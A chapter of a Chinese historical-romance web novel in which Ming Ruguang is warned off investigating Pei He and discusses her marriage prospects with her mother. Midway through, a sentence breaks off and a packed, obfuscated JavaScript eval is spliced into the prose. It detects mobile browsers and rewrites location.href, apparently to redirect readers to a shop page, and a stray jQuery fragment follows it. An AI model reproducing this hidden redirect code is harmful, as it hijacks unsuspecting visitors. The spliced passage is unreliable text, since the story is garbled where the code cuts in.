那天之后，两人再未见过面。明如光心中生气，明明只是闲聊罢了，何必如此认真，他也真是，说两句就跑掉了。
她一个人生着闷气，忽然被姑母叫去，不知道是什么事。
明鸾坐在书房的一堆账册后面，那堆册子好像从未少过，即便看完一摞，也会有新的补上。
维持一个大家族庶务的运转竟然如此不易。
明鸾的手边有一套收受贿赂的单据，完整地记录了她插手大房的金银器贸易、买卖市舶司内部消息的时间和收到的礼物。
上面贴了张字条，字迹潇洒地写着：“到此为止。”
跟踪明如光第二天便收到这东西，想也知道是谁的手笔。
也不知道他是怎么搞到的。
而那两个跟踪的人则带着知府的警告回来，哆哆嗦嗦地转达：“明家是看上这个位置了？再有下次，决不轻饶。”
之前的丫鬟也被打发回来了。
“姑母好。”
小侄女的声音将她唤回，她的目光从单据上移开，看向明如光：“其实也没什么事，只是想着当面同你说会好一些。省得人多口杂，把话传出去。”
明如光面上一派恭敬温良，明鸾仔细地观察了一圈，本能地觉得她对此事一无所知，只是他单方面的警告。
小侄女这么单纯，怎么可能掺和这些事呢。
明鸾轻轻叹了口气，“裴壑此人深不可测，莫再招惹，他的身份不必再查了。”
明如光不知道发生什么，怎么才几天就让大姑母放弃了，但她既然不打算说，也不必问，问多了反而不美。
她点点头，行了个礼便回去了。
回去的路上，小梅不在身边，她难得有了一个人的时候。
说起裴壑，她又想起两人在车上的对话，自己真的有那么弱小吗？退一万步来说，弱不就说明毫不起眼，毫无利用价值么，有人会跟路边一颗石头较真吗？
脚步一顿，脚下刚好踩到一块小石子，应该是旁边步道踢上来的碎石。她将石子轻轻拨回花园中的青砖碎石步道上。
转念一想，一颗小石子，别人想踢飞就踢飞，想拿去垫桌脚就垫，身不由己。甚至这只是临时起意罢了，根本不算“较真”，谁让石子不会反抗。
身处连廊，望着大姑母精致的花园，青砖上雕着花，旁边铺着河床底磨得圆润的碎石子，凉亭边有着清河郡运来的嶙峋怪石，凉亭中的石桌则是白玉琢的。这苍茫世道，有谁不是一块石头吗？只是有人在步道上当景观垫脚石，有的摆到博古架上当奇石摆设。
不远处水车的轰隆声将她的思绪带去远处。
三五人正在清洗水车上的青苔，青苔虽有古意，看着清凉解暑，但时间长了会腐蚀水车，隔三差五便要叫人来去除。
其中一个小厮抱怨道：“随便洗洗不行吗，一会儿还有别的活要干。反正老是要洗，下次再弄干净点就好。”
同事当即敲了他的头，“你第一天来吗？大娘子的差事也敢怠慢。”
另一个附和道：“就是啊，敢得罪大娘子，仔细你的皮！”
之前有一天，她无意中撞见大房的夫人，也就是她的伯母和朋友聊天。
朋友是一位说话略有些刻薄的夫人，她用小扇遮住红唇，眉眼间却遮不住那股讥诮之意，“真羡慕明鸾啊，没有孩子和官人，才有那么多时间。”
伯母道：“可不是嘛，要不是她那么闲，哪可能把府中事务交给她。我就不行了，官人的生意做大了要操心，一双儿女也要操心，看我这白头发，唉。”
明如光知道伯母看似抱怨，实则在炫耀，从前还会跟着安慰两句，自从听懂了，她只会笑笑，再不接茬。惹得伯母自讨没趣，再不跟她说这些，只当她是个榆木脑袋。
伯母和朋友又聊了两句，伯母说，若不是明鸾有眼力见，趁大房腾不出手时接了庶务，她一个寡妇，嫁出去的女儿泼出去的水，早就被赶出府自己找地方住了。
她们聊天从不会聊到二房。
聊到姑母也从不会避着二房，姑母这边也是如此。
又想起那天母亲处置管事，还有她之前的欲言又止。明如光好像明白了什么，一味地向众人表明自己无害并不会减少伤害，反而是把自己的脖颈毫无防备地递出去。
最后，裴壑那句“弱者总是遭受更多窥视”，如铜钟在耳边震响。
她握紧拳头，一个大家闺秀很少做出这种动作，在礼仪的驯服下，她们的一举一动都有固定的标准，行走坐卧皆有讲究。
而握拳是心有不甘，表示反抗的意思，是绝对不能露出来的动作。
但人还是婴儿时就会握拳，谁能禁止？
回到二房，刚好下人来报，阿娘叫她，便改了方向，去往沈秋兰的住处。
沈秋兰的屋子里燃着龙脑香，袅袅地从博山炉里飘出来。她半倚在罗汉床上，背后垫着软枕，手边放着市井传奇，不是什么柳毅传，就是莺莺传，她就爱看这些爱情故事。丫鬟呈上一碗冰酥酪，上面淋着玫瑰露，一进屋就闻到花香与奶香。
明如光走进屋子，见她又在吃饮子，忍不住劝道：“母亲，少用点凉的。大夫说过，你身体不好，寒凉和辛辣之物不好消化，会增加负担的。”
被抓个正着，沈秋兰也不尴尬，直接把碗推给明如光，脸不红心不跳，“这是专门为你准备的，外面很热吧？”
还是不要戳破她好了。明如光坐到沈秋兰身侧，捧起那碗冰品，细细吃起来。
沈秋兰端起清茶漱口，她早上从婆母那边请安回来，明如光的婚事又被提了一次，老太君年纪大了懒得操心正事，倒是天天琢磨这些男婚女嫁的无聊事。
上回那个贺昌兴就是老太君乱点鸳鸯谱点出来的，说是大姑娘已经许了京城的世家，走个稳妥路线，二姑娘么，便赌一把找个将来飞黄腾达的郎君。
还好贺昌兴自己作死，早早露出狐狸尾巴，女儿也还算个明白人，不然她可舍不得女儿跟这种狼心狗肺的家伙来往。
见沈秋兰不像平时拉些家常，明如光放下勺子，关切道：“怎么了阿娘，脸上气鼓鼓的。”
沈秋兰叹了口气，“没事，不过是母亲又催我为你相看郎君。”
明如光手里的勺子叮当撞了瓷碗，发出一声响，她意识到不妥，将勺子搁到碗里，不再动了，略有些紧张地等待阿娘的下文。
这可是
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17284097|198411||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
关系到她一辈子的人生大事。
“如光，你跟娘老实说说你的想法。我们通个气，劲儿往一处使。”
抓住雇工后，两人又有几次谈心，虽然还没有完全亲密到有什么说什么，但在这件事上，明如光有勇气说出想法，也相信阿娘会站到自己这边。
两人曾经一同处理管事，如今又来问她的意见，她知道可以同阿娘商量，不必事事遵循。
但是要说出自己的想法还是有些害羞，她真的可以自己选择吗？不会给爹娘添麻烦吗？
犹豫了一瞬，明如光望着阿娘的眼睛，眼睛里互相倒映着相似的面容，这正是独一无二的连结，她马上就打消了疑问，认真道：“女儿现在不想同任何人订婚。”
沈秋兰点点头，心里略略有数，虽然嘴上说喜欢裴壑，但也不像情窦初开，平时还是那副冷冷淡淡，小心观察的样子。
保险起见沈秋兰还是问了一句：“那裴壑呢？”
明如光稍微顿了一下，有些尴尬地扭过头，想起那张白净淡漠的脸，心里泛起一丝波澜。她也不知道是喜欢还是不喜欢，毕竟她从未对一个男性心动过，判断不出来。
但是两人又有过那样一个夜晚……虽然已经过去很久了，两人都心照不宣地不再去提，但是一想起来，仍不免有些尴尬和……难以言喻。
要是没发生过就好了。
她想忘记，但是又忘不了。第一次和某个人贴得那么近，交换呼吸，互相看到彼此难耐的表情……这些天的了解，她知道裴壑确实是个正人君子，虽然脾气差点。
怎么看都是比贺昌兴理想的未婚夫。
但她却不想这么做。
明如光脸红起来，支吾道：“这个……大概是，嗯，没什么想法吧。他对我而言，应该算救命恩人。”
沈秋兰放下心来，裴壑身份不明，举止又格外不近人情，就算是天潢贵胄，她也不希望女儿喜欢上那样的人，没一点人味儿。
她拉过明如光的手，柔若无骨，就像女儿的人一样，真担心将来离了家会受欺负。“既然这次我们有得选，就选一个好郎君。你祖母再怎么催，咱们也不去理会。”
明如光听出来了，今早祖母绝对给母亲气受了，她有些担忧，“祖母那边，可是责备母亲了？”
“无非就是说些‘女孩子到了岁数不嫁人，想什么呢？’之类的话。没关系的，就算你一辈子不嫁人也好，就留在我跟你阿耶身边。”
明如光心头一热，祖母向来严厉，规矩颇多，她在祖母面前大气都不敢出，今早肯定不像沈秋兰说的那么轻描淡写。
她低下头，只要一想起贺昌兴这个未婚夫就发怵，如果可以的话，她真想一辈子都不要离开家。听见母亲的话，她忍不住抬起头，眼睛亮闪闪道：“真的可以吗？”
沈秋兰摸摸她的头发，“老太婆再聒噪，大不了就分家，不听她嗡嗡。”
明如光吓了一跳，“不不，这怎么成呢！”阿耶要是知道这个决定，恐怕会当场哭出来，他可离不开哥哥姐姐。
最好还是不要走到这一步。
怕沈秋兰真的计划上，明如光连忙转移话题，“阿娘，让我帮你做点事吧！”